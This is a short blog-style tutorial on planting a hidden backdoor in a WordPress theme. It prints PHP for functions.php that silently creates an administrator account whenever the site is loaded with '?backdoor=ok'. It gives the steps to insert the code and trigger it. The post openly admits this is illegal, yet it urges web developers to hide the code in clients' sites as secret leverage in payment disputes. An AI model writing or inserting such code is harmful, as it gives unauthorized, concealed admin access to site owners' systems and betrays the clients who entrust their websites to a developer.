How to make a backdoor in wordpress

Now you are going make a backdoor in wordpress!!!

Ohhh!! you can’t do that, it’s totally illegal.

But look one the bright side of doing that. What if you are cheated by your client, that would be your trump card to access to that particular website secretly.

So, today I will show you how to leave a piece of code that might give you to show “Don’t mess with me“.

First you have to know what is a backdoor?

After that fasten your seat belt! The killer code is

add_action( ‘wp_head’, ‘func_backdoor’ );

           function func_backdoor() {
           if ( ( $_GET[‘backdoor’] ) == ‘ok’ )

{
           require( ‘wp-includes/registration.php’ );
           if ( !username_exists( ‘your_desired_username‘ ) )

{
          $user_id = wp_create_user( ‘your_desired_username‘, ‘your_desired_password‘ );
          $user = new WP_User( $user_id );
          $user->set_role( ‘administrator’ );

}

}

}

Now do follow my showed instruction

Step 1: Copy the following Code

First copy the copy the above code.

Be careful when you are copying code, either way you will get white screen of death. 

Step 2: Go to functions.php file

Navigate to  Appearance → editor.

Find functions.php file and paste the code anywhere.

Be careful while pasting the code. Double check your code parenthesis before submitting.

Also read : A very common mistake of using hashtag

Step 3: Open a browser

After submitting the code, open a browser and type

http://www.your_domain.com/?backdoor=ok

After pressing enter you will not see any change until you navigate to Users menu.

There you will see your Backdoored Credentials.

Now you can login your site separately my using your backdoored credentials with out having any trouble.

In this way you can put a backdoor inside your client’s wordpress theme.